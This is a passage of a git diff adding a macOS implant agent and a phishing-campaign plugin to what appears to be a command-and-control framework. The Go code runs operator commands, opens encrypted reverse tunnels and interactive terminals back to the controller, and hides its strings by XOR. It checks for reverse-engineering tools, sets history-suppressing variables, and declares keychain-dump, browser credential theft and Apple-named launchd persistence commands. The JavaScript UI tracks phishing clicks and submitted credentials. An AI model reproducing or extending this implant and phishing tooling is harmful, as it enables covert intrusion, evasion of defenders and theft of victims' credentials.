+ if len(out) > lastOutLen {
+ chunk := out[lastOutLen:]
+ if len(chunk) > maxChunkSize {
+ ansRun.Stdout = chunk[:maxChunkSize]
+ lastOutLen += maxChunkSize
+ } else {
+ ansRun.Stdout = chunk
+ lastOutLen = len(out)
+ }
+ }
+
+ stderrMu.Lock()
+ errOut := stderrBuf.String()
+ stderrMu.Unlock()
+ if len(errOut) > lastErrLen {
+ chunk := errOut[lastErrLen:]
+ if len(chunk) > maxChunkSize {
+ ansRun.Stderr = chunk[:maxChunkSize]
+ lastErrLen += maxChunkSize
+ } else {
+ ansRun.Stderr = chunk
+ lastErrLen = len(errOut)
+ }
+ }
+
+ if len(ansRun.Stdout) > 0 || len(ansRun.Stderr) > 0 {
+ job.Data, _ = msgpack.Marshal(ansRun)
+ packedJob, _ := msgpack.Marshal(job)
+
+ message := utils.Message{
+ Type: 2,
+ Object: [][]byte{packedJob},
+ }
+
+ sendData, _ := msgpack.Marshal(message)
+ sendData, _ = utils.EncryptData(sendData, utils.SKey)
+ functions.SendMsg(conn, sendData)
+ }
+ }
+ }
+ }()
+
+ time.Sleep(200 * time.Millisecond)
+ err = cmd.Wait()
+ wg.Wait()
+ close(done)
+
+ stdoutMu.Lock()
+ finalOut := stdoutBuf.String()
+ stdoutMu.Unlock()
+ stderrMu.Lock()
+ finalErrOut := stderrBuf.String()
+ stderrMu.Unlock()
+
+ for {
+ ansRun := utils.AnsRun{Pid: pid}
+ hasMore := false
+
+ if len(finalOut) > lastOutLen {
+ chunk := finalOut[lastOutLen:]
+ if len(chunk) > maxChunkSize {
+ ansRun.Stdout = chunk[:maxChunkSize]
+ lastOutLen += maxChunkSize
+ hasMore = true
+ } else {
+ ansRun.Stdout = chunk
+ lastOutLen = len(finalOut)
+ }
+ }
+
+ if len(finalErrOut) > lastErrLen {
+ chunk := finalErrOut[lastErrLen:]
+ if len(chunk) > maxChunkSize {
+ ansRun.Stderr = chunk[:maxChunkSize]
+ lastErrLen += maxChunkSize
+ hasMore = true
+ } else {
+ ansRun.Stderr = chunk
+ lastErrLen = len(finalErrOut)
+ }
+ }
+
+ if len(ansRun.Stdout) > 0 || len(ansRun.Stderr) > 0 {
+ job.Data, _ = msgpack.Marshal(ansRun)
+ packedJob, _ = msgpack.Marshal(job)
+ message = utils.Message{
+ Type: 2,
+ Object: [][]byte{packedJob},
+ }
+ sendData, _ = msgpack.Marshal(message)
+ sendData, _ = utils.EncryptData(sendData, utils.SKey)
+ functions.SendMsg(conn, sendData)
+
+ if hasMore {
+ time.Sleep(100 * time.Millisecond)
+ }
+ }
+
+ if !hasMore {
+ break
+ }
+ }
+
+ /// FINISH
+
+ job.Data, _ = msgpack.Marshal(utils.AnsRun{Pid: pid, Finish: true})
+ packedJob, _ = msgpack.Marshal(job)
+
+ message = utils.Message{
+ Type: 2,
+ Object: [][]byte{packedJob},
+ }
+
+ sendData, _ = msgpack.Marshal(message)
+ sendData, _ = utils.EncryptData(sendData, utils.SKey)
+ functions.SendMsg(conn, sendData)
+ }()
+
+ return nil, nil
+}
+
+func jobTunnel(paramsData []byte) {
+ var params utils.ParamsTunnelStart
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return
+ }
+
+ go func() {
+ active := true
+ reason := byte(0)
+ clientConn, err := net.DialTimeout(params.Proto, params.Address, 200*time.Millisecond)
+ if err != nil {
+ active = false
+ var opErr *net.OpError
+ if errors.As(err, &opErr) {
+ if opErr.Timeout() {
+ reason = 4
+ }
+ if errors.Is(syscall.ECONNREFUSED, opErr.Err) {
+ reason = 5
+ }
+ if errors.Is(syscall.ENETUNREACH, opErr.Err) {
+ reason = 3
+ }
+ }
+ }
+
+ var srvConn net.Conn
+ if profile.UseSSL {
+ cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey)
+ if certerr != nil {
+ return
+ }
+
+ caCertPool := x509.NewCertPool()
+ caCertPool.AppendCertsFromPEM(profile.CaCert)
+
+ config := &tls.Config{
+ Certificates: []tls.Certificate{cert},
+ RootCAs: caCertPool,
+ InsecureSkipVerify: true,
+ }
+ srvConn, err = tls.Dial("tcp", profile.Addresses[0], config)
+
+ } else {
+ srvConn, err = net.Dial("tcp", profile.Addresses[0])
+ }
+ if err != nil {
+ srvConn.Close()
+ return
+ }
+
+ tunKey := make([]byte, 16)
+ _, _ = rand.Read(tunKey)
+ tunIv := make([]byte, 16)
+ _, _ = rand.Read(tunIv)
+
+ jobPack, _ := msgpack.Marshal(utils.TunnelPack{Id: uint(AgentId), Type: profile.Type, ChannelId: params.ChannelId, Key: tunKey, Iv: tunIv, Alive: active, Reason: reason})
+ jobMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.JOB_TUNNEL, Data: jobPack})
+ jobMsg, _ = utils.EncryptData(jobMsg, encKey)
+
+ /// Recv Banner
+ if profile.BannerSize > 0 {
+ _, err := functions.ConnRead(srvConn, profile.BannerSize)
+ if err != nil {
+ srvConn.Close()
+ return
+ }
+ }
+
+ /// Send Init
+ functions.SendMsg(srvConn, jobMsg)
+
+ if !active {
+ srvConn.Close()
+ return
+ }
+
+ encCipher, _ := aes.NewCipher(tunKey)
+ encStream := cipher.NewCTR(encCipher, tunIv)
+ streamWriter := &cipher.StreamWriter{S: encStream, W: srvConn}
+
+ decCipher, _ := aes.NewCipher(tunKey)
+ decStream := cipher.NewCTR(decCipher, tunIv)
+ streamReader := &cipher.StreamReader{S: decStream, R: srvConn}
+
+ ctx, cancel := context.WithCancel(context.Background())
+ ctrl := &TunnelController{
+ Cancel: cancel,
+ }
+ TUNNELS.Store(params.ChannelId, ctrl)
+ defer TUNNELS.Delete(params.ChannelId)
+
+ var closeOnce sync.Once
+ closeAll := func() {
+ closeOnce.Do(func() {
+ _ = clientConn.Close()
+ _ = srvConn.Close()
+ })
+ }
+
+ var wg sync.WaitGroup
+ wg.Add(2)
+
+ go func() {
+ defer wg.Done()
+ io.Copy(clientConn, streamReader)
+ closeAll()
+ }()
+
+ go func() {
+ defer wg.Done()
+ buf := make([]byte, 32*1024)
+ for {
+ select {
+ case <-ctx.Done():
+ return
+ default:
+ if ctrl.Paused.Load() {
+ time.Sleep(50 * time.Millisecond)
+ continue
+ }
+
+ clientConn.SetReadDeadline(time.Now().Add(500 * time.Millisecond))
+ nr, er := clientConn.Read(buf)
+ if nr > 0 {
+ _, ew := streamWriter.Write(buf[0:nr])
+ if ew != nil {
+ closeAll()
+ return
+ }
+ }
+ if er != nil {
+ if netErr, ok := er.(net.Error); ok && netErr.Timeout() {
+ continue
+ }
+ closeAll()
+ return
+ }
+ }
+ }
+ }()
+
+ go func() {
+ <-ctx.Done()
+ closeAll()
+ }()
+
+ wg.Wait()
+
+ cancel()
+ }()
+}
+
+func jobTerminal(paramsData []byte) {
+ var params utils.ParamsTerminalStart
+ err := msgpack.Unmarshal(paramsData, ¶ms)
+ if err != nil {
+ return
+ }
+
+ go func() {
+ active := true
+ status := ""
+
+ process := exec.Command(params.Program)
+ ptyProc, err := functions.StartPtyCommand(process, uint16(params.Width), uint16(params.Height))
+ if err != nil {
+ active = false
+ status = err.Error()
+ }
+
+ var srvConn net.Conn
+ if profile.UseSSL {
+ cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey)
+ if certerr != nil {
+ return
+ }
+
+ caCertPool := x509.NewCertPool()
+ caCertPool.AppendCertsFromPEM(profile.CaCert)
+
+ config := &tls.Config{
+ Certificates: []tls.Certificate{cert},
+ RootCAs: caCertPool,
+ InsecureSkipVerify: true,
+ }
+ srvConn, err = tls.Dial("tcp", profile.Addresses[0], config)
+
+ } else {
+ srvConn, err = net.Dial("tcp", profile.Addresses[0])
+ }
+ if err != nil {
+ if active {
+ functions.StopPty(ptyProc)
+ _ = process.Process.Kill()
+ }
+ return
+ }
+
+ tunKey := make([]byte, 16)
+ _, _ = rand.Read(tunKey)
+ tunIv := make([]byte, 16)
+ _, _ = rand.Read(tunIv)
+
+ jobPack, _ := msgpack.Marshal(utils.TermPack{Id: uint(AgentId), TermId: params.TermId, Key: tunKey, Iv: tunIv, Alive: active, Status: status})
+ jobMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.JOB_TERMINAL, Data: jobPack})
+ jobMsg, _ = utils.EncryptData(jobMsg, encKey)
+
+ /// Recv Banner
+ if profile.BannerSize > 0 {
+ _, err := functions.ConnRead(srvConn, profile.BannerSize)
+ if err != nil {
+ srvConn.Close()
+ if active {
+ functions.StopPty(ptyProc)
+ _ = process.Process.Kill()
+ }
+ return
+ }
+ }
+
+ /// Send Init
+ _ = functions.SendMsg(srvConn, jobMsg)
+
+ if !active {
+ srvConn.Close()
+ return
+ }
+
+ encCipher, _ := aes.NewCipher(tunKey)
+ encStream := cipher.NewCTR(encCipher, tunIv)
+ streamWriter := &cipher.StreamWriter{S: encStream, W: srvConn}
+
+ decCipher, _ := aes.NewCipher(tunKey)
+ decStream := cipher.NewCTR(decCipher, tunIv)
+ streamReader := &cipher.StreamReader{S: decStream, R: srvConn}
+
+ ctx, cancel := context.WithCancel(context.Background())
+ TERMINALS.Store(params.TermId, cancel)
+ defer TERMINALS.Delete(params.TermId)
+
+ var closeOnce sync.Once
+ closeAll := func() {
+ closeOnce.Do(func() {
+ time.Sleep(200 * time.Millisecond)
+ _ = functions.StopPty(ptyProc)
+ if functions.IsProcessRunning(process) {
+ _ = process.Process.Kill()
+ }
+ _ = srvConn.Close()
+ })
+ }
+
+ var wg sync.WaitGroup
+ wg.Add(2)
+
+ go func() {
+ defer wg.Done()
+ functions.RelayConnToPty(ptyProc, streamReader)
+ closeAll()
+ }()
+
+ go func() {
+ defer wg.Done()
+ functions.RelayPtyToConn(streamWriter, ptyProc)
+ closeAll()
+ }()
+
+ go func() {
+ <-ctx.Done()
+ closeAll()
+ }()
+
+ wg.Wait()
+ _ = process.Wait()
+ cancel()
+ }()
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/crypt.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/crypt.go
new file mode 100644
index 000000000..a9a71f9fc
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/crypt.go
@@ -0,0 +1,57 @@
+package utils
+
+import (
+ "crypto/aes"
+ "crypto/cipher"
+ "crypto/rand"
+ "fmt"
+ "io"
+)
+
+var SKey []byte
+
+func EncryptData(data []byte, key []byte) ([]byte, error) {
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, err
+ }
+
+ gcm, err := cipher.NewGCM(block)
+ if err != nil {
+ return nil, err
+ }
+
+ nonce := make([]byte, gcm.NonceSize())
+ _, err = io.ReadFull(rand.Reader, nonce)
+ if err != nil {
+ return nil, err
+ }
+ ciphertext := gcm.Seal(nonce, nonce, data, nil)
+
+ return ciphertext, nil
+}
+
+func DecryptData(data []byte, key []byte) ([]byte, error) {
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, err
+ }
+
+ gcm, err := cipher.NewGCM(block)
+ if err != nil {
+ return nil, err
+ }
+
+ nonceSize := gcm.NonceSize()
+ if len(data) < nonceSize {
+ return nil, fmt.Errorf("ciphertext too short")
+ }
+
+ nonce, ciphertext := data[:nonceSize], data[nonceSize:]
+
+ plaintext, err := gcm.Open(nil, nonce, ciphertext, nil)
+ if err != nil {
+ return nil, err
+ }
+ return plaintext, nil
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_debug.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_debug.go
new file mode 100644
index 000000000..12214422f
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_debug.go
@@ -0,0 +1,16 @@
+//go:build debug
+
+package utils
+
+import (
+ "fmt"
+ "os"
+ "time"
+)
+
+// DebugLog prints debug messages to stderr when built with -tags=debug.
+// Never included in production payloads.
+func DebugLog(format string, args ...interface{}) {
+ msg := fmt.Sprintf(format, args...)
+ fmt.Fprintf(os.Stderr, "[DBG %s] %s\n", time.Now().Format("15:04:05"), msg)
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_release.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_release.go
new file mode 100644
index 000000000..56623c3f3
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/debug_release.go
@@ -0,0 +1,6 @@
+//go:build !debug
+
+package utils
+
+// DebugLog is a no-op in release builds. The compiler eliminates these calls.
+func DebugLog(format string, args ...interface{}) {}
diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/strings_obf.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/strings_obf.go
new file mode 100644
index 000000000..91009c0e3
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/strings_obf.go
@@ -0,0 +1,26 @@
+package utils
+
+// PLACEHOLDER — overwritten at build-time by pl_main.go:generateObfuscatedStrings().
+// Each payload build generates a unique XOR key and re-encodes all strings.
+// These plaintext fallbacks exist only for dev-time compilation (go vet, IDE).
+
+func StrHwModel() string { return "hw.model" }
+func StrKernBootargs() string { return "kern.bootargs" }
+func StrAmfiBypass() string { return "amfi_get_out_of_my_way" }
+func StrSandboxEnv() string { return "APP_SANDBOX_CONTAINER_ID" }
+func StrHopper() string { return "/Applications/Hopper Disassembler v4.app" }
+func StrIDA() string { return "/Applications/IDA Pro.app" }
+func StrGhidra() string { return "/Applications/Ghidra.app" }
+func StrCharles() string { return "/Applications/Charles.app" }
+func StrProxyman() string { return "/Applications/Proxyman.app" }
+func StrWireshark() string { return "/Applications/Wireshark.app" }
+func StrSystemVersionPlist() string { return "/System/Library/CoreServices/SystemVersion.plist" }
+func StrProductVersion() string { return "ProductVersion" }
+func StrMacOS() string { return "MacOS" }
+func StrHistfile() string { return "HISTFILE=/dev/null" }
+func StrHistfilesize() string { return "HISTFILESIZE=0" }
+func StrHistsize() string { return "HISTSIZE=0" }
+func StrHistory() string { return "HISTORY=" }
+func StrHistsave() string { return "HISTSAVE=" }
+func StrHistzone() string { return "HISTZONE=" }
+func StrHistlog() string { return "HISTLOG=" }
diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/utils.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/utils.go
new file mode 100644
index 000000000..7181c8b77
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/utils.go
@@ -0,0 +1,360 @@
+package utils
+
+import (
+ "context"
+ "net"
+)
+
+type Connection struct {
+ PackType int
+ Conn net.Conn
+ Ctx context.Context
+ HandleCancel context.CancelFunc
+ JobCancel context.CancelFunc
+}
+
+/// Listener
+
+const (
+ INIT_PACK = 1
+ EXFIL_PACK = 2
+ JOB_PACK = 3
+ JOB_TUNNEL = 4
+ JOB_TERMINAL = 5
+)
+
+type StartMsg struct {
+ Type int `msgpack:"id"`
+ Data []byte `msgpack:"data"`
+}
+
+type InitPack struct {
+ Id uint `msgpack:"id"`
+ Type uint `msgpack:"type"`
+ Data []byte `msgpack:"data"`
+}
+
+type ExfilPack struct {
+ Id uint `msgpack:"id"`
+ Type uint `msgpack:"type"`
+ Task string `msgpack:"task"`
+}
+
+type JobPack struct {
+ Id uint `msgpack:"id"`
+ Type uint `msgpack:"type"`
+ Task string `msgpack:"task"`
+}
+
+type TunnelPack struct {
+ Id uint `msgpack:"id"`
+ Type uint `msgpack:"type"`
+ ChannelId int `msgpack:"channel_id"`
+ Key []byte `msgpack:"key"`
+ Iv []byte `msgpack:"iv"`
+ Alive bool `msgpack:"alive"`
+ Reason byte `msgpack:"reason"`
+}
+
+type TermPack struct {
+ Id uint `msgpack:"id"`
+ TermId int `msgpack:"term_id"`
+ Key []byte `msgpack:"key"`
+ Iv []byte `msgpack:"iv"`
+ Alive bool `msgpack:"alive"`
+ Status string `msgpack:"status"`
+}
+
+/// Agent
+
+type Profile struct {
+ Type uint `msgpack:"type"`
+ Addresses []string `msgpack:"addresses"`
+ BannerSize int `msgpack:"banner_size"`
+ ConnTimeout int `msgpack:"conn_timeout"`
+ ConnCount int `msgpack:"conn_count"`
+ UseSSL bool `msgpack:"use_ssl"`
+ SslCert []byte `msgpack:"ssl_cert"`
+ SslKey []byte `msgpack:"ssl_key"`
+ CaCert []byte `msgpack:"ca_cert"`
+}
+
+type SessionInfo struct {
+ Process string `msgpack:"process"`
+ PID int `msgpack:"pid"`
+ User string `msgpack:"user"`
+ Host string `msgpack:"host"`
+ Ipaddr string `msgpack:"ipaddr"`
+ Elevated bool `msgpack:"elevated"`
+ Acp uint32 `msgpack:"acp"`
+ Oem uint32 `msgpack:"oem"`
+ Os string `msgpack:"os"`
+ OSVersion string `msgpack:"os_version"`
+ EncryptKey []byte `msgpack:"encrypt_key"`
+}
+
+/// Types
+
+type Message struct {
+ Type int8 `msgpack:"type"`
+ Object [][]byte `msgpack:"object"`
+}
+
+type Command struct {
+ Code uint `msgpack:"code"`
+ Id uint `msgpack:"id"`
+ Data []byte `msgpack:"data"`
+}
+
+type Job struct {
+ CommandId uint `msgpack:"command_id"`
+ JobId string `msgpack:"job_id"`
+ Data []byte `msgpack:"data"`
+}
+
+type AnsError struct {
+ Error string `msgpack:"error"`
+}
+
+type AnsPwd struct {
+ Path string `msgpack:"path"`
+}
+
+type ParamsCd struct {
+ Path string `msgpack:"path"`
+}
+
+type ParamsShell struct {
+ Program string `msgpack:"program"`
+ Args []string `msgpack:"args"`
+}
+
+type AnsShell struct {
+ Output string `msgpack:"output"`
+}
+
+type ParamsDownload struct {
+ Task string `msgpack:"task"`
+ Path string `msgpack:"path"`
+}
+
+type AnsDownload struct {
+ FileId int `msgpack:"id"`
+ Path string `msgpack:"path"`
+ Size int `msgpack:"size"`
+ Content []byte `msgpack:"content"`
+ Start bool `msgpack:"start"`
+ Finish bool `msgpack:"finish"`
+ Canceled bool `msgpack:"canceled"`
+}
+
+type ParamsUpload struct {
+ Path string `msgpack:"path"`
+ Content []byte `msgpack:"content"`
+ Finish bool `msgpack:"finish"`
+}
+
+type AnsUpload struct {
+ Path string `msgpack:"path"`
+}
+
+type ParamsCat struct {
+ Path string `msgpack:"path"`
+}
+
+type AnsCat struct {
+ Path string `msgpack:"path"`
+ Content []byte `msgpack:"content"`
+}
+
+type ParamsCp struct {
+ Src string `msgpack:"src"`
+ Dst string `msgpack:"dst"`
+}
+
+type ParamsMv struct {
+ Src string `msgpack:"src"`
+ Dst string `msgpack:"dst"`
+}
+
+type ParamsMkdir struct {
+ Path string `msgpack:"path"`
+}
+
+type ParamsRm struct {
+ Path string `msgpack:"path"`
+}
+
+type ParamsLs struct {
+ Path string `msgpack:"path"`
+}
+
+type FileInfo struct {
+ Mode string `msgpack:"mode"`
+ Nlink int `msgpack:"nlink"`
+ User string `msgpack:"user"`
+ Group string `msgpack:"group"`
+ Size int64 `msgpack:"size"`
+ Date string `msgpack:"date"`
+ Filename string `msgpack:"filename"`
+ IsDir bool `msgpack:"is_dir"`
+}
+
+type AnsLs struct {
+ Result bool `msgpack:"result"`
+ Status string `msgpack:"status"`
+ Path string `msgpack:"path"`
+ Files []byte `msgpack:"files"`
+}
+
+type PsInfo struct {
+ Pid int `msgpack:"pid"`
+ Ppid int `msgpack:"ppid"`
+ Tty string `msgpack:"tty"`
+ Context string `msgpack:"context"`
+ Process string `msgpack:"process"`
+}
+
+type AnsPs struct {
+ Result bool `msgpack:"result"`
+ Status string `msgpack:"status"`
+ Processes []byte `msgpack:"processes"`
+}
+
+type ParamsKill struct {
+ Pid int `msgpack:"pid"`
+}
+
+type ParamsZip struct {
+ Src string `msgpack:"src"`
+ Dst string `msgpack:"dst"`
+}
+
+type AnsZip struct {
+ Path string `msgpack:"path"`
+}
+
+type AnsScreenshots struct {
+ Screens [][]byte `msgpack:"screens"`
+}
+
+type ParamsRun struct {
+ Program string `msgpack:"program"`
+ Args []string `msgpack:"args"`
+ Task string `msgpack:"task"`
+}
+
+type AnsRun struct {
+ Stdout string `msgpack:"stdout"`
+ Stderr string `msgpack:"stderr"`
+ Pid int `msgpack:"pid"`
+ Start bool `msgpack:"start"`
+ Finish bool `msgpack:"finish"`
+}
+
+type JobInfo struct {
+ JobId string `msgpack:"job_id"`
+ JobType int `msgpack:"job_type"`
+}
+
+type AnsJobList struct {
+ List []byte `msgpack:"list"`
+}
+
+type ParamsJobKill struct {
+ Id string `msgpack:"id"`
+}
+
+type ParamsTunnelStart struct {
+ Proto string `msgpack:"proto"`
+ ChannelId int `msgpack:"channel_id"`
+ Address string `msgpack:"address"`
+}
+
+type ParamsTunnelStop struct {
+ ChannelId int `msgpack:"channel_id"`
+}
+
+type ParamsTunnelPause struct {
+ ChannelId int `msgpack:"channel_id"`
+}
+
+type ParamsTunnelResume struct {
+ ChannelId int `msgpack:"channel_id"`
+}
+
+type ParamsTerminalStart struct {
+ TermId int `msgpack:"term_id"`
+ Program string `msgpack:"program"`
+ Height int `msgpack:"height"`
+ Width int `msgpack:"width"`
+}
+
+type ParamsTerminalStop struct {
+ TermId int `msgpack:"term_id"`
+}
+
+/// Phase 4 — Persistence & Post-exploitation types
+
+type ParamsPersist struct {
+ Action string `msgpack:"action"` // install, remove, status
+ Method string `msgpack:"method"` // launchagent, launchdaemon
+ Name string `msgpack:"name"` // plist label (e.g. com.apple.mdworker.local)
+}
+
+type AnsPersist struct {
+ Output string `msgpack:"output"`
+}
+
+type ParamsDefaults struct {
+ Domain string `msgpack:"domain"`
+}
+
+type ParamsKeychain struct {
+ Action string `msgpack:"action"` // list, dump
+}
+
+type ParamsBrowserDump struct {
+ Browser string `msgpack:"browser"` // chrome, firefox
+ Target string `msgpack:"target"` // cookies, history, logins
+}
+
+const (
+ COMMAND_ERROR = 0
+ COMMAND_PWD = 1
+ COMMAND_CD = 2
+ COMMAND_SHELL = 3
+ COMMAND_EXIT = 4
+ COMMAND_DOWNLOAD = 5
+ COMMAND_UPLOAD = 6
+ COMMAND_CAT = 7
+ COMMAND_CP = 8
+ COMMAND_MV = 9
+ COMMAND_MKDIR = 10
+ COMMAND_RM = 11
+ COMMAND_LS = 12
+ COMMAND_PS = 13
+ COMMAND_KILL = 14
+ COMMAND_ZIP = 15
+ COMMAND_SCREENSHOT = 16
+ COMMAND_RUN = 17
+ COMMAND_JOB_LIST = 18
+ COMMAND_JOB_KILL = 19
+
+ // macOS-specific commands (slots 21-30)
+ COMMAND_CLIPBOARD = 21
+ COMMAND_PERSIST = 22
+ COMMAND_TCC_CHECK = 23
+ COMMAND_DEFAULTS = 24
+ COMMAND_EDR_CHECK = 25
+ COMMAND_KEYCHAIN = 26
+ COMMAND_BROWSER_DUMP = 27
+
+ COMMAND_TUNNEL_START = 31
+ COMMAND_TUNNEL_STOP = 32
+ COMMAND_TUNNEL_PAUSE = 33
+ COMMAND_TUNNEL_RESUME = 34
+
+ COMMAND_TERMINAL_START = 35
+ COMMAND_TERMINAL_STOP = 36
+)
diff --git a/AdaptixServer/extenders/macos_agent/src_macos/utils/xorstr.go b/AdaptixServer/extenders/macos_agent/src_macos/utils/xorstr.go
new file mode 100644
index 000000000..601dd28ca
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_macos/utils/xorstr.go
@@ -0,0 +1,12 @@
+package utils
+
+// Xor decodes a XOR-obfuscated byte slice with the given key.
+// Used to hide sensitive strings from static analysis (strings command).
+func Xor(data []byte, key []byte) string {
+ out := make([]byte, len(data))
+ kl := len(key)
+ for i := range data {
+ out[i] = data[i] ^ key[i%kl]
+ }
+ return string(out)
+}
diff --git a/AdaptixServer/extenders/phishing_service/Makefile b/AdaptixServer/extenders/phishing_service/Makefile
new file mode 100644
index 000000000..5380772a0
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/Makefile
@@ -0,0 +1,10 @@
+all: clean
+ @ echo " * Building phishing service plugin"
+ @ mkdir dist
+ @ cp config.yaml ax_config.axs ./dist/
+ @ cp -r templates landers ./dist/
+ @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/service_phishing.so *.go
+ @ echo " done..."
+
+clean:
+ @ rm -rf dist
diff --git a/AdaptixServer/extenders/phishing_service/ax_config.axs b/AdaptixServer/extenders/phishing_service/ax_config.axs
new file mode 100644
index 000000000..e7b8f6895
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/ax_config.axs
@@ -0,0 +1,756 @@
+/// Phishing Service - UI
+
+let campaignsDock = null;
+let resultsDock = null;
+let campaignsTable = null;
+let resultsTable = null;
+let campaignFilter = null;
+let campaignsData = [];
+let allResults = {};
+let activePreview = null;
+
+// ============================================================================
+// InitService - Called when service is loaded
+// ============================================================================
+
+function InitService() {
+ createCampaignsDock();
+ createResultsDock();
+ loadInitialData();
+}
+
+// ============================================================================
+// Data Handler - Receives data from server
+// ============================================================================
+
+function data_handler(data) {
+ try {
+ let json = JSON.parse(data);
+ let msgType = json.type;
+
+ if (msgType === "campaigns") {
+ campaignsData = json.data || [];
+ refreshCampaignsTable();
+ }
+ else if (msgType === "targets") {
+ showTargetsDialog(json.data.campaign_id, json.data.targets || []);
+ }
+ else if (msgType === "results") {
+ let cid = json.data.campaign_id;
+ allResults[cid] = json.data.results || [];
+ refreshResultsTable();
+ }
+ else if (msgType === "event") {
+ handleEvent(json.event, json.data);
+ }
+ else if (msgType === "error") {
+ ax.show_message("Phishing Error", json.message);
+ }
+ else if (msgType === "templates") {
+ cachedTemplates = json.data || [];
+ }
+ else if (msgType === "landers") {
+ cachedLanders = json.data || [];
+ }
+ else if (msgType === "preview") {
+ if (activePreview) {
+ activePreview.setHtml(json.data.html);
+ }
+ }
+ else if (msgType === "export") {
+ let filename = "phishing_results_" + json.data.campaign_id + ".csv";
+ let path = ax.prompt_save_file(filename, "Export Results", "CSV Files (*.csv)");
+ if (path) {
+ ax.file_write_text(path, json.data.csv, false);
+ }
+ }
+ } catch (e) {
+ ax.log_error("Phishing: parse error: " + e);
+ }
+}
+
+// ============================================================================
+// Campaigns Dock
+// ============================================================================
+
+let cachedTemplates = [];
+let cachedLanders = [];
+
+function createCampaignsDock() {
+ campaignsDock = form.create_ext_dock("phishing_campaigns", "Phishing Campaigns", "");
+
+ let mainLayout = form.create_vlayout();
+
+ // Toolbar
+ let toolbar = form.create_hlayout();
+
+ let btnNew = form.create_button("New Campaign");
+ let btnStart = form.create_button("Start");
+ let btnStop = form.create_button("Stop");
+ let btnDelete = form.create_button("Delete");
+ let btnTargets = form.create_button("Targets");
+ let btnRefresh = form.create_button("Refresh");
+
+ toolbar.addWidget(btnNew);
+ toolbar.addWidget(btnStart);
+ toolbar.addWidget(btnStop);
+ toolbar.addWidget(btnTargets);
+ toolbar.addWidget(btnDelete);
+ toolbar.addWidget(form.create_hspacer());
+ toolbar.addWidget(btnRefresh);
+
+ let toolbarPanel = form.create_panel();
+ toolbarPanel.setLayout(toolbar);
+ mainLayout.addWidget(toolbarPanel);
+
+ // Table
+ campaignsTable = form.create_table(["Name", "Status", "Targets", "Sent", "Opened", "Clicked", "Submitted", "Errors", "Created By"]);
+ campaignsTable.setSortingEnabled(true);
+ campaignsTable.setReadOnly(true);
+ mainLayout.addWidget(campaignsTable);
+
+ campaignsDock.setLayout(mainLayout);
+ campaignsDock.setSize(900, 400);
+ campaignsDock.show();
+
+ // Signals
+ form.connect(btnNew, "clicked", function() {
+ ax.service_command("Phishing", "templates_list", {});
+ ax.service_command("Phishing", "landers_list", {});
+ // Small delay to let templates/landers load before showing dialog
+ event.on_timeout(function() { showNewCampaignDialog(); }, 1);
+ });
+
+ form.connect(btnStart, "clicked", function() {
+ let rows = campaignsTable.selectedRows();
+ if (rows.length === 0) return;
+ let cid = getCampaignIDByRow(rows[0]);
+ if (cid) {
+ if (ax.prompt_confirm("Start Campaign", "Send emails for this campaign?")) {
+ ax.service_command("Phishing", "campaign_start", {id: cid});
+ }
+ }
+ });
+
+ form.connect(btnStop, "clicked", function() {
+ let rows = campaignsTable.selectedRows();
+ if (rows.length === 0) return;
+ let cid = getCampaignIDByRow(rows[0]);
+ if (cid) {
+ ax.service_command("Phishing", "campaign_stop", {id: cid});
+ }
+ });
+
+ form.connect(btnDelete, "clicked", function() {
+ let rows = campaignsTable.selectedRows();
+ if (rows.length === 0) return;
+ let cid = getCampaignIDByRow(rows[0]);
+ if (cid) {
+ if (ax.prompt_confirm("Delete Campaign", "Delete this campaign and all its data?")) {
+ ax.service_command("Phishing", "campaign_delete", {id: cid});
+ }
+ }
+ });
+
+ form.connect(btnTargets, "clicked", function() {
+ let rows = campaignsTable.selectedRows();
+ if (rows.length === 0) return;
+ let cid = getCampaignIDByRow(rows[0]);
+ if (cid) {
+ ax.service_command("Phishing", "targets_list", {campaign_id: cid});
+ }
+ });
+
+ form.connect(btnRefresh, "clicked", function() {
+ loadInitialData();
+ });
+
+ form.connect(campaignsTable, "cellDoubleClicked", function(row, col) {
+ let cid = getCampaignIDByRow(row);
+ if (cid) {
+ ax.service_command("Phishing", "results_list", {campaign_id: cid});
+ }
+ });
+}
+
+function refreshCampaignsTable() {
+ if (!campaignsTable) return;
+
+ campaignsTable.setRowCount(0);
+ if (!campaignsData) return;
+
+ for (let i = 0; i < campaignsData.length; i++) {
+ let c = campaignsData[i];
+ let created = c.created_at ? ax.format_time("yyyy-MM-dd HH:mm", c.created_at) : "";
+ campaignsTable.addItem([
+ c.name || "",
+ c.status || "",
+ String(c.total_targets || 0),
+ String(c.sent || 0),
+ String(c.opened || 0),
+ String(c.clicked || 0),
+ String(c.submitted || 0),
+ String(c.errors || 0),
+ c.created_by || ""
+ ]);
+ }
+
+ // Update filter combo in results dock
+ updateCampaignFilter();
+}
+
+function getCampaignIDByRow(row) {
+ if (!campaignsData || row < 0 || row >= campaignsData.length) return null;
+ return campaignsData[row].id;
+}
+
